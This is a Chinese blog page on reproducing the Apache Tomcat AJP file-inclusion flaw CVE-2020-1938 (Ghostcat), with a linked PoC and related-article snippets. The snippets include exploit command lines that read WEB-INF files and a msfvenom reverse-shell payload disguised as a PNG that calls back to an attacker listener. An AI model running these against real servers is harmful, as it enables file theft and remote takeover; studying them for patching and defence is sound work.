tomcat CVE-2020-1938

最新推荐文章于 2025-06-12 15:37:19 发布
原创 最新推荐文章于 2025-06-12 15:37:19 发布 · 210 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文探讨了Tomcat默认AJP服务的文件包含漏洞，通过POC验证攻击路径，并提供修复建议。阅读以了解如何避免Web目录文件暴露。

搭建

在这里插入图片描述
下载好运行即可
访问成功
在这里插入图片描述

漏洞复现

Tomcat默认开启AJP服务（8009端口），存在一处文件包含缺陷。
攻击者可以通过构造的恶意请求包来进行文件包含操作，从而读取有漏洞的Tomcat服务器上Web目录文件。
漏洞验证POC
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
漏洞验证，尝试读取文件：

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

在这里插入图片描述
成功访问到配置文件

精选资源
CVE-2020-1938 Apache Tomcat 文件包含EXP
03-29
# CVE-2020-1938 Apache Tomcat 文件包含 影响版本： Tomcat6-9 Exp： ``` python CNVD-2020-10487-Tomcat-Ajp-lfi.py x.x.x.x -p 8009 -f urfile 一. 漏洞概述 2月20日，国家信息安全漏洞共享平台（CNVD）...
精选资源
CVE-2020-1938:CVE-2020-1938
03-20
CVE-2020-1938 工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果由用户负责 通过测试研究发现，该突破危害及其严重，涉及非常广泛，如果发现建议立即进行修复 apache-tomcat-8.5.32.zip测试...
CVE-2020-1938
sechelper的博客
12-07 1278
CVE-2020-1938漏洞复现
CVE-2021-21166
weixin_48300170的博客
07-14 1466
CVE-2021-21166 Chrome 远程代码执行0 Day 漏洞复现漏洞简介漏洞信息漏洞原理环境搭建漏洞复现漏洞修复 漏洞简介       在2021年2月11日，微软浏览器漏洞研究团队的研究员 Alison Huffman提交一个0day漏洞。       一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式
精选资源
CVE-2020-1938.zip
04-15
【CVE-2020-1938：Apache Tomcat AJP协议远程代码执行漏洞】 CVE-2020-1938是Apache Tomcat服务器中的一个严重安全漏洞，该漏洞允许攻击者通过AJP（Apache JServ Protocol）接口来实现远程代码执行，从而对目标系统...
Apache Tomcat CVE-2020-1938 漏洞
weixin_51194266的博客
06-21 1万+
所选漏洞：Apache Tomcat远程代码执行漏洞 漏洞编号：CVE-2020-1938 简单的环境搭建与POC验证
[Timeline Sec] - CVE-2020-9484：Tomcat Session 反序列化复现1
08-03
【Apache Tomcat与Session反序列化漏洞CVE-2020-9484详解】 Apache Tomcat是一款广泛使用的开源Web应用服务器，它基于Java，主要用于运行Servlet和JSP（JavaServer Pages）应用程序。在2020年，Tomcat被发现存在一...
CVE-2020-1938TomcatAjpScanner-master.zip
02-23
CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！
CVE-2020-1938(RCE利用)
热门推荐
午夜安全
03-27 1万+
CVE-2020-1938(RCE利用) 1.使用msf生成反弹shell马，并且监听 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.223.129 LPORT=6666 R > shell.png 假设利用上传点，把此图片上传到了目标服务器/log/shell.png。 在msf监听： msf > use expl...
【vulhub】tomcat CVE-2020-1938（AJP漏洞）
qq_51143406的博客
03-12 555
cve-2020-1938 任意文件读写 ghostcat 漏洞复现
CVE-2020-1938（tomcat root目录下文件读取文件包含）
Lelouch_E的博客
11-16 565
影响版本： Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 前提条件：   AJP Connector 服务端口 （默认8009） 文件读取 python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 127.0.0.1 文
CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)
最新发布
spinage的博客
06-12 2461
漏洞摘要 CVE-2020-1938（Ghostcat）是Apache Tomcat AJP协议中的一个高危漏洞，影响Tomcat 6.x至9.x版本。该漏洞源于AJP协议处理器未对请求路径进行安全校验，攻击者可通过构造恶意AJP请求读取Web目录任意文件（包括WEB-INF下的敏感文件），结合文件上传功能可实现远程代码执行（RCE）。漏洞利用需满足AJP服务开启且端口可访问的条件，CVSS评分为9.8。修复方案为升级至Tomcat 7.0.100、8.5.52或9.0.31及以上版本。利用过程可通过工具实
CVE-2020-1938-Tomcat漏洞复现
AmyBaby00的博客
06-30 749
CVE-2020-1938-Tomcat漏洞复现步骤： 1、漏洞简介 2、环境搭建 3、启动镜像、并访问Tomcat页面，查看环境搭建成功与否 4、漏洞验证 1、漏洞简介： Tomcat默认开启AJP服务（8009端口），存在一处文件包含缺陷。 攻击者可以通过构造的恶意请求包来进行文件包含操作，从而读取有漏洞的Tomcat服务器上Web目录文件。 2、环境搭建： 使用docker拉取 docker...
CVE-2020-1938：Apache Tomcat-AJP任意文件读取漏洞复现
霸唱轻柔
02-22 3085
前言：Tomcat-AJP Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因...
tomcat cve-2020-1938 exp
05-16
Tomcat是一个广受欢迎的Java Web应用服务器，但最近被曝出安全漏洞CVE-2020-1938。该漏洞可以允许黑客通过发送特殊构造的请求来执行任意代码，甚至可能导致服务器完全被控制。 为了利用该漏洞，黑客需要向Tomcat...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值